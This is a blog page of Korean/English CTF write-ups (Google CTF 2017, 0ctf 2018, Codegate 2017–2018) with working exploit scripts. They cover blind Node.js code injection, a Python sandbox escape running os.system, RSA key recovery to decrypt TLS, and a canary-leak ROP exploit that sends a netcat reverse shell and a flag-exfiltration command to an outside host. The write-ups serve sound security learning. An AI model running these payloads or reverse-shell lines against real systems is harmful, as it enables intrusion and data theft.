CTF Writeup



Google CTF 2017 - ASCII Art Writeup



이번에는 리버싱 문제중 하나인 aart 를 풀어 보았다. 결론부터 말하면 허무하게 풀려버렸다;



이번 문제는 바이너리와 패킷 덤프가 주어졌다.




# file aart_client

aart_client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=220420b2d90546e195ca6df0119e299f3ad28514, stripped






바이너리를 IDA 로 열어보면 protobuf 관련 클래스가 많이 나오는데, 검색해 보니 객체 등의 다양한 자료들을 송수신 하게 해주는 google 에서 만든 라이브러리이며 게임 등 실무에서도 많이 사용된다고 한다.








패킷을 열어보면 바이너리와 서버가 주고 받은 패킷임을 알 수 있는데, 자세히 보면 내용이 동일한 패킷이 주기적으로 보내진 것을 알 수 있다. 아마도 바이너리의 HELLO 문자열과 관련된 패킷일 것으로 생각된다.


즉 HELLO -> Message 전송의 형식으로 통신을 한 것으로 볼 수 있다. 











처음엔 바이너리를 좀 분석하다가... 실행하려면 서버가 필요해서 웹서버를 만들어서 시뮬레이션(?) 해 보기로 했고, 아래와 같이 간단히 코딩하여 소켓으로 응답을 돌려줬다.



from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer

seq = 0

msg_0 = '''787e7f756d667e7c7c15787e70746d667e7c232b4c5c57405554435d5851555b5549505a554e405b545c4f51405c545b4f5449432b193931'''

msg_1 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b97716690a061e1d171f1b091112031f101f041a111f160a1b1e1605110a1e1e0905530370617b'''

msg_2 = '''787e7f756d667e7c7c15787e70746d667e7c232b4e564150525b5d5e57504b5e48405558534158505141494a564d515848564b562b193931'''

msg_3 = '''037e6c612e496c67446c3c2e7168746c772e6c6c2e65667a6d686e6c652e2e6c6c772e6f2e6262702e746277576b457840571931746c7b6a686167646d6a7164727a6f62697b626a6b7b73706c776b62726c716c11230b7a'''
msg_4 = '''787e7f756d667e7c7c15787e70746d667e7c232b53545f485c515349545449564e4f4f554353485a4d504e4d50404d545c5c514f2b193931'''

msg_5 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b9771e6902191b1503161e191c1e05031f04190510091a0207070a041e1a16070516531b70617b'''

msgs = [msg_0, msg_3, msg_2, msg_1, msg_4, msg_5]

class S(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        self._set_headers()
        self.wfile.write("<html><body><h1>hi!</h1></body></html>")

    def do_HEAD(self):
        self._set_headers()

    def do_POST(self):
        # Doesn't do anything with posted data
        global seq
        self._set_headers()
        print self.rfile.read(int(self.headers['Content-Length']))
        self.wfile.write(msgs[seq])
        seq += 1

def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print 'Starting httpd...'
    httpd.serve_forever()

if __name__ == "__main__":
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()






그러자... 아스키 비행기가 나왔다.





# ./aart_client 127.0.0.1




             _     _

            /_|   |_\

           //||   ||\\

          // ||   || \\

         //  ||___||  \\

        /     |   |     \    _

       /    __|   |__    \  /_\

      / .--~  |   |  ~--. \|   |

     /.~ __\  |   |  /   ~.|   |

    .~  `=='\ |   | /   _.-'.  |

   /  /      \|   |/ .-~    _.-'

  |           +---+  \  _.-~  |

  `=----.____/  #  \____.----='

   [::::::::|  (_)  |::::::::]

  .=----~~~~~\     /~~~~~----=.

  |          /`---'\          |

   \  \     /       \     /  /

    `.     /         \     .'

      `.  /._________.\  .'

        `--._________.--'







그리고...몇번 더 실행해보니 플래그가 나왔다 -_-;;;;;



# ./aart_client 127.0.0.1

CTF{That-was-a-lot-of-monkey-foot-work?-Good-Job!}




다른 풀이를 찾아보니 이건 꼼수고.. 제대로 된 풀이는 protobuf 프로토콜을 분석해서 flag 헥스값을 디코딩해서 키를 추출하는 식이었다. 어쨌든 풀었으니 이건 다음에 -_-;

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

0ctf 2018 - LoginMe Writeup

2018. 4. 10. 14:21


0CTF2018 - LoginMe




참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.

I didn't participate but I tried to solve LoginMe which is one of 0ctf 2018 tasks.



https://ctf.0ops.sjtu.cn/login#task-28





웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다. 

web login window is given, and the source code is given.



# loginme.js


var express = require('express') var app = express() var bodyParser = require('body-parser') app.use(bodyParser.urlencoded({})); var path = require("path"); var moment = require('moment'); var MongoClient = require('mongodb').MongoClient; var url = "mongodb://localhost:27017/"; MongoClient.connect(url, function(err, db) { if (err) throw err; dbo = db.db("test_db"); var collection_name = "users"; var password_column = "password_"+Math.random().toString(36).slice(2) var password = "xxxxxxxxxxxxxxxxxxxxxx"; // flag is flag{password} var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')}; myobj[password_column] = password; dbo.collection(collection_name).remove({}); dbo.collection(collection_name).update( { name: myobj.name }, myobj, { upsert: true } ); app.get('/', function (req, res) { res.sendFile(path.join(__dirname,'index.html')); }) app.post('/check', function (req, res) { var check_function = 'if(this.username == #username# && #username# == "admin" &&

hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}'; for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k])) } var query = {"$where" : check_function}; var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}} dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){ if(e) throw e; res.send('ok'); // ... implementing, plz dont release this. }); }) app.listen(8081) });





코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.

web server using express module, the web framework of node js. An important part of the code is:




1) password 칼럼명이 랜덤하게 바뀜

    password column name changes randomly


    ex)

    this.password_qqxnativaup

    this.password_kt1g716pi4






2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨

     nodejs code is dynamically created and executed using the request variable and value I entered


  for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k])) 
}



ex) (POST) username=admin&password=123  로 전송하면 아래와 같이 동적으로 구문을 만들어줌

        send "username=admin&password=123",  server dynamically generates the code as shown below.


- for 문을 돌면서 차례대로 #username# => admin,  #password# => 123 으로 입력

    after running for loop #username# => admin,  #password# => 123


k:username

if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_qqxnativaup){

return 1;

}else{

return 0;}


k:password

if(this.username == "admin" && "admin" == "admin" && hex_md5("123") == this.password_qqxnativaup){

return 1;

}else{

return 0;}








결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다. 

In conclusion, it's possible inserting '#' in the input value to attack.


하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.

but  #, ), (  characters are filtered by the source code below.


var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});




이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )

filter can be bypassed by sending an array instead of a value.






다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.

After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.


 True:

 username[]=admin#test&test.*md5.[]=] || 'a'=='a' ? 1 : alert() || (#pass&pass.*=test&password=555


 False:

 username[]=admin#test&test.*md5.[]=] || 'a'=='b' ? 1 : alert() || (#pass&pass.*=test&password=555






참일 때는 에러가 나지 않도록 하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.

If true no error, if false an error is output.


아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.

It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.






이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!

Now, write a simple python script and get the flags one by one!




# exploit_loginme.py


#!/usr/bin/python
from socket import *
import time

#target = ('202.120.7.194', 8081)
target = ('127.0.0.1', 8081)


def request(p):
    c = socket(AF_INET, SOCK_STREAM)
    try:
        c.connect(target)
    except:
        time.sleep(0.2)
        c.connect(target)

    req = '''POST /check HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Length: {}
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

{}

'''.format(len(p)+2,p)
    #print req
    c.send(req)
    res = c.recv(300)
    #print res
    try:
        t = res.index('ok')
        return True
    except:
        return False

### flag length - 32
#param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&pass.*=test'
#print request(param)

### flag
flag = ''
for i in range(32):
    for j in range(48,127):
        param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&pass.*=test'.format(i,j)
        print "[*] trying.." + param
        if request(param):
            print '\n=================='
            print chr(j)
            flag += chr(j)
            print '\n=================='
            break
        time.sleep(0.4)

print "[+] flag: \nflag{" + flag + "}"




끝!

the end!



ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!




'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

codegate 2018 miro writeup

2018. 2. 6. 19:29


하다보니 다음 문제.. 이번 문제는 Miro(crypto) 다. 자신없는 암호 문제지만 도전!


Miro


주어진 파일은 miro.pcap, client.py  2개다. 하나는 패킷인데 TLS 암호화 패킷이고, client.py 는 미로 게임에 접속하는 클라이언트이다.



문제 서버에 접속하면 미로 게임을 풀어야 하는데 l, r, u, d 4 개의 방향을 이용하여 움직여야 한다. 문제는 주어진 클라이언트는 r, d 만 있다는 것.



결국 miro.pcap 을 decrypt 하는 수밖에 없다. 검색을 해 보니 최근에 이런 비슷한 문제가 출제되었던 것을 확인할 수 있었고, 동일한 방식으로 풀이가 가능했다.(링크 참고)





https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/%5B%5Droot





hello packet 중 server hello 에 certificate 정보가 포함되어 있고, 그 안의 modulus 를 이용하여 인수분해가 가능하다는 내용이다.








공개된 소스를 이용하여 돌리니 수초만에 아래와 같이 p, q 가 분해(?) 되어 나왔다.








이제 정보가 있으니 rsatool 을 이용하여 인증서를 만들어 주면 끝난다.


hyunmini@~/Desktop/06.CTF/2018/codegate$ python ./rsatool.py -p 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497  -q 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027 -e 65537 -o priv.pem

Using (p, q) to initialise RSA instance


n =

1c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b

0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf

70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644

c864a06cd586d480b


e = 65537 (0x10001)


d =

1a5c9d3a21a9be4b8b52aaeb1b8a6f36e039485a4167bc03fb52ebe58a270d81e65211fcccaf6f49

d9e1d36b8ce0d2f3df4a790a1e575990458b18a51082138265f3b909c7155c173def686e4387b98a

9fe6ec917551d8095783b21eb98798ffb1324957b6dbf944ce591c8099a1e2f4787a28804c995964

c059d02749dfe5b81


p =

1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c6a8184e3f75c6f3786c

0832d301372ad3165d600adf637cda4efbc99adb6185bafa1


q =

1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c5fe0d14ef4f564011aa

270cd326b5dcc69fb2bd76673357a9fa1399581abc231c82b


Saving PEM as priv.pem





이렇게 만든 인증서를 wireshark 에 넣어주면 decrypt 된 패킷을 볼 수 있다.


TLS 패킷 우클릭 - RSA Key List - + 버튼 누르고 아래처럼 적어주면 된다.



192.168.18.129,  443,  ssl,  priv.pem





그러면 이제 해독된 패킷 내용을 살펴보자. l, r, u, d 모든 패킷을 확인할 수 있고, 이 확인한 명령어를 이용하여 코드를 수정해 준 후 미로를 풀어주면 된다. 


이미 서버가 죽어있어서 플래그는 확인할 수 없었으나 물어보니 이렇게들 풀었다고 한다.(?)






while 1:
    data = recv_until(tls_client, "Input : ")
    print data
    #message
    user_input = raw_input()
    
    if user_input == "u":
        tls_client.send("9de133535f4a9fe7de66372047d49865d7cdea654909f63a193842f36038d362\n")
    elif user_input == "d": 
        tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n")
    elif user_input == "r":
        tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n")
    elif user_input == "l":
        tls_client.send("27692894751dba96ab78121842b9c74b6191fd8c838669a395f65f3db45c03e2\n")
    else:
        print "Invalid input!"
        exit()    


끝.

'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28


풀이 시작한 김에 몇개 더 풀어봤다. 다음 문제는 impel down 이다.




Impel Down





 접속해보면 pyjail 이라는 문구와 escape 를 통해 python 이며 악의적인 입력값으로 python code 를 실행하라는 것을 알 수 있다.




name : test
========
[day-1]
################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
##############################################

tool
test : ~~~~




 먼저 이름을 입력받고, 다음으로 작업을 입력받아서 실행시켜준다. 작업란에 특수문자, 괄호 등을 넣어보이 파이썬 쉘 에러를 확인할 수 있었다. 이걸로 확실히 python code execution 문제라는 것을 알 수 있다.

예전에 보았던 비슷한 문제가 있어서 그떄의 기억을 소환해 우선 로컬엣 테스트 해 보았다. import os 없이 명령어를 실행시킬 수 있는 방법이 몇가지 있는데, 아래는 그 중 한가지이다.



>>> ().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')

uid=501(hyunmini) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)



 하지만 이 문제에서는 길이값 제한 및 '_' 제한 떄문에 안됨. 테스트 결과 약 40여 글자가 넘어가면 에러가 발생함.

삽질하다가 결국 찾은 방법은 name 부분에다가 공격 문자열 넣어놓고 아래와 같이 불러오는 것.



name = "__import__('os').system('ls -al')".encode('hex')


dig(), eval(your.name),






아래는 전체 exploit 코드이다. 

# impel_down_ex.py from pwn import * import pickle import os r = remote('localhost',9999) print r.recvuntil('Name : ') #name = "().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')".encode('hex') name = "__import__('os').system('ls -al')".encode('hex') r.sendline(name) print r.recvuntil('#\n') print r.recvuntil('#\n') cmd="dig(),eval(your.name.decode('hex'))," print cmd r.sendline(cmd) print r.recv(500) print r.recv(500) =======

실행결과

======

################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
###############################################

dig(),eval(your.name.decode('hex')),
 5f5f696d706f72745f5f28276f7327292e73797374656d28276c73202d616c2729 : [Dig] depth = 1

total 16
drwxr-xr-x 2 root root 4096 Feb 5 22:30 .
drwxr-xr-x 4 root root 4096 Feb 5 22:30 ..
-rw-r--r-- 1 root root 3889 Feb 5 22:24 Impel_Down.py
-rw-r--r-- 1 root root 121 Feb 5 22:30 run.sh



풀이한 시점에는 서버가 닫혀서 플래그는 없으나 cat /flag 등으로 플래그 확인이 가능했다고 한다. 


'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

codegate 2018 - rbsql writeup

2018. 2. 6. 11:04


코게 2018 예선문제 풀이.


사정이 있어서 풀타임 참석은 못하고 저녁에 좀 풀고, 대회 끝나고 나서 서버가 닫히기 전에 웹문제만 풀어봤다.





rbsql



접속해 보니 아주 익숙한(몇년째 대회에서 보고있는 -_-;;;) 홈페이지가 나온다.


소스코드가 주어져서 분석을 해보니, 데이터베이스 대신 파일을 DB 로 사용하는 웹사이트이다.


회원 가입 시 스키마 파일에 파일명을 추가하고, 테이블 대신 파일을 생성한다. 


그리고 생성된 파일에 특정 포맷으로 데이터를 저장하고 읽어온다. 결국 그 과정에서 어떤 취약점이 발생할 것으로 생각했다.


스키마 파일은 제공되지 않아서 직접 만들어 주었다.(md5 형님 제공)





소스 코드를 분석해보니 포맷은 아래와 같았다.



문자 : \x01 + 길이(1byte) + 문자

배열 : \x02 + 길이(1byte) + 문자 또는 배열,...





그리고 파싱함수(rbParse) 를 살펴보면 저 위의 포맷대로 파싱해서 값을 읽어온다. 


문제는, 길이값이 1byte 라는 것. 1byte 인 데다가 256 글자까지 입력이 가능하므로, 256 글자를 입력하면 \xff + 1 = \x00 이 된다.



hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(255);' | xxd

00000000: ff                                       .

hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(256);' | xxd

00000000: 00




즉, 길이값의 인티저 오버플로우를 이용하면 그 다음 항목을 마음대로 조작할 수 있다는 것이다.


umail 에 256 글자를 집어넣으면 파싱할때 길이값이 0이므로 umail 은 바로 파싱이 끝나고 다음 항목으로 넘어가게 되는데,


이때 ip 와 level 을 조작할 수 있다. 가장 중요한 것은 level 을 2 로 바꿔주는 것이다.(admin) 




umail: '\x01\x20c4ca4238a0b923820dcc509a6f75849b\x01\x0dx.x.x.x\x01\x32' + 'AAAAAAAA...'   (전체 256 글자)



요렇게 해서 보내면 된다. 





아래는 python 코드






요렇게 가입하고 로그인하면 flag 가 뙇

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

Codegate 2017 - babypwn

2017. 2. 28. 17:59


육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ 


babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니 


대충 있는 리눅스 가상머신에 올려서 풀었다.



babypwn

babypwn.py

babypwn



>>> print e.checksec()

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE




stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.


이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.







일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.


그로인해 60바이트만큼 오버플로우가 발생한다.


하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다. 


canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.



# leak.py

#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) print hexdump(r.recv(1024))




hyunmini:codegate2017 $ python babypwn.py 


[*] codegate 2017 babypwn exploit by hyunmini

[*] Loaded cached gadgets for './babypwn'

[*] stage 0 : leak canary

[+] Opening connection to 192.168.231.128 on port 8181: Done

▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒

▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒

===============================

1. Echo

2. Reverse Echo

3. Exit

===============================

Select menu > 

Input Your Message : 

00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaaaaaaaaaaaaaa│

*

00000020  61 61 61 61  61 61 61 61  61 75 16 35  f4 ff 75 b7  │aaaaaaaaau·5│··u·

00000030

[*] Closed connection to 192.168.231.128 port 8181



붉게 표시된 부분이 leak 된 canary 값이다.  40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서 


canary 첫번째 바이트는 0x00 임을 알 수 있다.


즉, 0x35167500 일 것이다.(little endian 이니)





이제 전체적인 rop exploit 을 구성해서 공격하면 된다.


간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.


pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.


조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출, 


없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.



rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())






아래는 전체 코드이다.




babypwn


#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[*] codegate 2017 babypwn exploit by hyunmini"

e = ELF('./babypwn')
rop = ROP(e)

log.info("stage 0 : leak canary")
r = remote("192.168.231.128",8181)
print r.recvuntil('menu > ')
r.send('1\n')
print r.recv(1024)
r.send('a'*41)
recv_buf = r.recv(1024)[41:44]
print hexdump(recv_buf)
canary = u32('\x00' + recv_buf)
log.info("found canary : 0x%x" % canary)

cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777"
#cmd = "cat flag | nc 192.168.231.1 7777"
rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())

payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n'

log.info("stage 1 : eip control")

p = remote("192.168.231.128",8181)

print p.recvuntil('menu > ')
p.send('1\n')

print p.recvuntil('Message : ')
p.send(payload + '\n')

print p.recvuntil('menu > ')

p.send('3\n')
p.send(cmd)





# ./babypwn.py

=============================================


hyunmini:codegate2017 $ nc -lv 7777

ls

babypwn

cd ..

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

Pwntools



CTF 문제 풀이용 Framework 인 pwntools(pwnlib) 를 그동안 제대로 활용하지 못하고 있었는데(접속과 쉘코드 정도만 사용), 다양한 기능 연습 겸 최대한 pwntools 를 써가며 이전 pwnable 문제들을 풀어보기로 했다.








angry_doraemon  (Codegate 2014, pwn 250 문제)


□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888
http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================
□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)


실행시켜보면 도라에몽과 싸우는 텍스트 게임이다.












바이너리 보호기법 확인



먼저 바이너리에 적용된 보호기법을 살펴보자.  checksec 스크립트 대신 아래와 같이 한줄로 대신할 수 있다.


#> python -c 'from pwn import *;ELF("./angry_doraemon")'


쓰고보니 이게 더 귀찮네..-.-;



Stack Canary (SSP 보호기법) 가 적용되어 있으며, NX 도 적용되어 있는 것을 볼 수 있다. 물론 Ubuntu 13.10 이므로 ASLR 적용


적용된 보호기법을 확인했으니 취약점이 발생하는 부분을 찾아 보도록 하자.









취약점 분석


IDA로 살펴보면 아래와 같이 4번 메뉴 입력값을 받을 때 read() 함수에서 할당된 버퍼보다 더 큰 수만큼 읽어오기 때문에 bof 취약점이 밟생하는 것을 확인할 수 있다.





 buf 변수는 4바이트밖에 안되는데 110 바이트를 입력받고 있다. 기초적인 bof 문제같지만 SSP 보호기법 때문에 stack canary 가 존재한다. 스택에 stack canary 가 존재하며, 이를 검사하여 다른 값으로 덮어씌워졌을 경우 bof 로 판단하여 조작된 리턴주소로 점프하지 않고 에러를 내뱉는다. 윈도우 계열에서는 SEH Overwrite 를 이용하여 우회가 가능한 보호기법인데, linux 의 경우 SEH 가 존재하지 않으므로 다른 방법으로 우회해야 한다. 


풀리라고 만든 문제인 만큼 대부분 바이너리에서 어떤 방법으로든 우회가 가능하게 구성이 되어있다. 이 바이너리의 경우에는 바로 아래쪽에 있는 sprintf 함수를 이용하면 우회가 가능하다. buf 를 출력해 주고 있는데, sprintf 함수는 널바이트를 문자열의 끝으로 인식하므로 canary 까지 널바이트가 없도록 쓰레기값으로 채워주면 canary 까지 출력이 된다.


 |    buf    |  .....        | canary |

  abcd\x0                             


sprintf(buf) => abcd 

       

==================================================


 |    buf    | .....         | canary |

  aaaaaaaaaaaaaaa| canary |    


sprintf(buf) => aaaaaaaaaacanary     



간단하게 코드를 작성하여 보면 예상대로 canary 값을 얻을 수 있다. 이 값은 fork() 로 인해 변하지 않으므로 한번 확인한 값을 계속 사용하면 된다. fork() 는 부모 프로세스 메모리 주소를 그대로 받아서 사용하므로 바이너리가 재 실행 되기 전까지는 변하지 않는다.



# leak.py


#!/usr/bin/python
from pwn import *
